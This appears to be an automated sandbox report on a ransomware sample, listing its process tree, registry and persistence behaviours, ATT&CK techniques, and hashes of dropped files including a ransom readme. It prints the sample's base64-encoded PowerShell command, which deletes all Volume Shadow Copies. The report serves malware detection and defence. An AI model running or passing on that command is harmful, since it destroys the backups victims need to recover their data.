PID 3064 wrote to memory of 3056	3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	powershell.exe
PID 3064 wrote to memory of 3056	3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	powershell.exe
PID 3064 wrote to memory of 3056	3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:836

C:\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1872

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Event Triggered Execution

1

T1546

Change Default File Association

1

T1546.001

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Event Triggered Execution

1

T1546

Change Default File Association

1

T1546.001

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

4

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe
Filesize
547KB

MD5
cf6c595d3e5e9667667af096762fd9c4

SHA1
9bb44da8d7f6457099cb56e4f7d1026963dce7ce

SHA256
593e60cc30ae0789448547195af77f550387f6648d45847ea244dd0dd7abf03d

SHA512
ff4f789df9e6a6d0fbe12b3250f951fcf11e857906c65e96a30bb46266e7e1180d6103a03db2f3764e0d1346b2de7afba8259ba080057e4a268e45e8654dfa80

Download Submit
C:\Users\69r5t5847-readme.txt
Filesize
6KB

MD5
09501885e7a579925bb3988a07f108f3

SHA1
02c704a76e4ca1255121bbfadcf9c8a3dd2af115

SHA256
16815fbddce345ede9da748f8f53317297a6afb2e39e4e2b28a241de056f95b5

SHA512
a05641fe43adf899ce16df7eda076f88d3593d371d403e9b701fc7ca91eec024946d51c5c93c20e7c1bf137de335bfb2ff732511ad75bb56dde8e501d1541880

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5A62.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5A84.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Windows\System32\catroot2\dberr.txt
Filesize
191KB

MD5
307547b1af1cc21b1c6bed2a5fdc68f7

SHA1
e45cda38c434b299deff88bcd36f0cb40d0bdc34

SHA256
3be521ad71165336731fdf387d8051c3e63b5984eaeeebf4dc1c03e8ec5ef478

SHA512
2b9ad6c6366ba0c83f4bd440caa378ac5fe26cffe48d184c34c26ad216593f77f6c6a6e3baa342aa499c1e2a114c87a034894cbca9cb7a61511a7b7f4b83f30a

Download Submit
\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
Filesize
252KB

MD5
9e2b9928c89a9d0da1d3e8f4bd96afa7

SHA1
ec66cda99f44b62470c6930e5afda061579cde35

SHA256
8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

SHA512
2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

Download Submit
\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Filesize
182KB

MD5
dbe120d11b3601be9d102ac83dbdc449

SHA1
3ecf3759ed50e08a3ee6e2dc298525baac0e861f

SHA256
0a16f3a7610aa43ee770d81a5324b9d7d6cbc85f9968d215ccc4bc39fe884999

SHA512
5769ff54058c023800fbf25939ae528e3f4ec7145553b666af9fc73087c7dab6ec37c762daa8a5741c29ed276babbfd3d626ad457ecc4308a0e71a4a52e399a3

Download Submit
memory/836-729-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/836-768-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/3056-90-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/3056-91-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads